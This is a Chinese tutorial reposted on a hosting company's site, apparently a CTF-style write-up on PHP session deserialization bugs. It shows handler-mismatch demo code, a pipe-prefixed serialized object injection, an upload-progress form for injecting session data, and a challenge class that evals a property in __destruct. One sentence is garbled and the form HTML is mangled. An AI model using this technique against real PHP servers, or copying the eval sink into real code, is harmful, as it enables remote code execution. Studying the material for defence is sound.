溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

PHP中session反序列化的示例分析

發(fā)布時(shí)間:2022-03-29 09:10:05 來(lái)源:億速云 閱讀:138 作者:小新 欄目:開(kāi)發(fā)技術(shù)

小編給大家分享一下PHP中session反序列化的示例分析,希望大家閱讀完這篇文章之后都有所收獲,下面讓我們一起去探討吧!

session反序列化的漏洞是由三種不同的反序列化引擎所產(chǎn)生的的漏洞

其中

session.serialize_handler string--定義用來(lái)序列化/反序列化的處理器名字。默認(rèn)使用php

PHP中session反序列化的示例分析

若使用如下設(shè)置:

<?php
//ini_set('session.serialize_handler', 'php');
//ini_set("session.serialize_handler", "php_serialize");
ini_set("session.serialize_handler", "php_binary");
phpinfo();

PHP中session反序列化的示例分析

則改變了序列化的引擎

save_path則是session的存放路徑 我們可以通過(guò)改變ini_Set來(lái)查看不同引擎下的序列化的類型

三種引擎的存儲(chǔ)格式:

php : a|s:3:"wzk";
php_serialize : a:1:{s:1:"a";s:3:"wzk";}
php_binary : as:3:"wzk";

漏洞產(chǎn)生在于

php引擎的存儲(chǔ)格式是鍵名 |serialized_string,而php_serialize引擎的存儲(chǔ)格式是serialized_string。如果程序使用兩個(gè)引擎來(lái)分別處理的話就會(huì)出現(xiàn)問(wèn)題。
session_start() 會(huì)創(chuàng)建新會(huì)話或者重用現(xiàn)有會(huì)話。 如果通過(guò) GET 或者 POST 方式,或者使用 cookie 提交了會(huì)話 ID, 則會(huì)重用現(xiàn)有會(huì)話。

所以如果存在兩種不同的引擎,就可以利用session_start()的自動(dòng)反序列化,把我們想要傳輸?shù)臄?shù)據(jù)傳輸?shù)?a title="服務(wù)器" target="_blank" href="http://www.kemok4.com/">服務(wù)器中:

eg:

<?php
ini_set("session.serialize_handler", "php_serialize");
session_start();
$_SESSION['swaggyp'] = $_GET['a'];
echo var_dump($_SESSION);

代碼1:用來(lái)保存在本地一個(gè)session

代碼2:

<?php
ini_set('session.serialize_handler', 'php');
session_start();
echo var_dump($_SESSION);
class student{
    var $name;
    var $age;
    function __wakeup()
    {
        // TODO: Implement __wakeup() method.
        echo "wzk".$this->name;
    }
}

用于讀取session然后進(jìn)行反序列化 若wakeup方法被調(diào)用則說(shuō)明反序列化成功

<?php
class student{
    var $name;
    var $age;
}
$a = new student();
$a->nage =  "swaggyp";
$a->age = "1111";
echo serialize($a);
//O:7:"student":3:{s:4:"name";N;s:3:"age";s:4:"1111";s:4:"nage";s:7:"swaggyp";}

該代碼用于生成一個(gè)一個(gè)序列

參考于:

生成后,在1中傳入這段序列化的值并在開(kāi)頭加入 | 則在第二個(gè)文件被解析的時(shí)候,就會(huì)把|后的內(nèi)容直接當(dāng)成一個(gè)類去解析 實(shí)現(xiàn)我們的目的

PHP中session反序列化的示例分析

PHP中session反序列化的示例分析

成功了

php 這個(gè)session.serialize_handler 將 | 后的字符串反序列化,導(dǎo)致產(chǎn)生惡意對(duì)象。

upload過(guò)程中會(huì)產(chǎn)生session,存在一個(gè)鍵值對(duì)的值為filename(可控),如果filename被我們修改為|+序列化對(duì)象字符串(特殊字符記得轉(zhuǎn)義),filename |后的內(nèi)容就會(huì)被認(rèn)為是序列化的內(nèi)容,進(jìn)而反序列化產(chǎn)生惡意對(duì)象(實(shí)際上PHP中session是寫(xiě)到文件中的,我們暫且忽略這一中間步驟對(duì)此處并無(wú)影響),在對(duì)象自毀時(shí)去執(zhí)行__destruct()內(nèi)的語(yǔ)句

<form action =“ upload.php” method =“ POST” enctype =“ multipart / form-data”>
    <input type =“ hidden” name =“ PHP_SESSION_UPLOAD_PROGRESS” value =“ ryat” />
    <input type =“ file” name =“ file” />
    <input type =“ submit” />
</ form>

S E S S I O N 中 的 鍵 值 就 會(huì) 為 _SESSION中的鍵值就會(huì)為 SESSION中的鍵值就會(huì)為_SESSION[“upload_progress_ryat”],在會(huì)話上傳過(guò)程中,將對(duì)會(huì)話數(shù)據(jù)進(jìn)行序列化/反序列化,序列化格式由php.ini中的session.serialize_handler選項(xiàng)設(shè)置。 這意味著,如果在腳本中設(shè)置了不同的serialize_handler,那么可以導(dǎo)致注入任意session數(shù)據(jù)

題目:

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }
    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));
}
?>

構(gòu)造登錄框和payload

PHP中session反序列化的示例分析

看完了這篇文章,相信你對(duì)“PHP中session反序列化的示例分析”有了一定的了解,如果想了解更多相關(guān)知識(shí),歡迎關(guān)注億速云行業(yè)資訊頻道,感謝各位的閱讀!

向AI問(wèn)一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI